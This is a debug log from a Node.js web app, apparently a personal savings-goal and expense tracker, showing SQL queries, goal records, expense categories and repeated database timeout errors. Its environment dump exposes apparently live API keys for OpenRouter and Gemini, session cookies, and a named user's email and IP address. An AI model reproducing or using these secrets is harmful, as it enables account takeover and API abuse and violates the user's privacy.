2026-02-26T18:30:51.108Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:51.109Z server-connect:output identity: 1
2026-02-26T18:30:51.109Z server-connect:app Executing action step restrict
2026-02-26T18:30:51.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:51.109Z server-connect:app Executing action step identify
2026-02-26T18:30:51.109Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:51.109Z server-connect:output identity: 1
2026-02-26T18:30:51.109Z server-connect:app Executing action step restrict
2026-02-26T18:30:51.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:51.109Z server-connect:app Executing action step identify
2026-02-26T18:30:51.109Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:51.109Z server-connect:output identity: 1
2026-02-26T18:30:51.109Z server-connect:app Executing action step restrict
2026-02-26T18:30:51.109Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:51.110Z server-connect:output restrict: undefined
2026-02-26T18:30:51.110Z server-connect:app Executing action step custom
2026-02-26T18:30:51.111Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-26T18:30:51.111Z server-connect:output restrict: undefined
2026-02-26T18:30:51.111Z server-connect:app Executing action step single
2026-02-26T18:30:51.111Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-26T18:30:51.111Z server-connect:app Executing action step identify
2026-02-26T18:30:51.111Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:51.112Z server-connect:output identity: 1
2026-02-26T18:30:51.112Z server-connect:app Executing action step restrict
2026-02-26T18:30:51.112Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:51.113Z server-connect:output restrict: undefined
2026-02-26T18:30:51.113Z server-connect:app Executing action step select
2026-02-26T18:30:51.113Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-26T18:30:51.114Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '95000',
    last_transaction_date: 2026-02-26T18:30:49.000Z,
    percentage_achieved: '47.50',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  }
]
2026-02-26T18:30:51.115Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-26T18:30:51.116Z server-connect:output restrict: undefined
2026-02-26T18:30:51.116Z server-connect:app Executing action step paged
2026-02-26T18:30:51.116Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-26T18:30:51.118Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-26T18:30:51.120Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-26T18:38:37.237Z server-connect:router Serving templateView /goal
2026-02-26T18:38:37.246Z server-connect:app Executing action step identify
2026-02-26T18:38:37.246Z server-connect:app options: { provider: 'security' }
2026-02-26T18:38:37.246Z server-connect:output identity: 1
2026-02-26T18:38:37.246Z server-connect:app Executing action step restrict
2026-02-26T18:38:37.246Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-26T18:38:37.248Z server-connect:output restrict: undefined
2026-02-26T18:38:37.248Z server-connect:router Render template layouts/main
2026-02-26T18:38:37.248Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"13db4-wfE9ofk//bWvQfe+rOOe1mteTgc"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-27T18:30:25.527Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"13db4-wfE9ofk//bWvQfe+rOOe1mteTgc"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 21:46:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 21:46:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-26 23:05:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-26 23:05:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 01:40:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 01:40:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 02:29:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 02:29:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 03:02:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 03:02:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-27 08:05:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-27 08:05:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
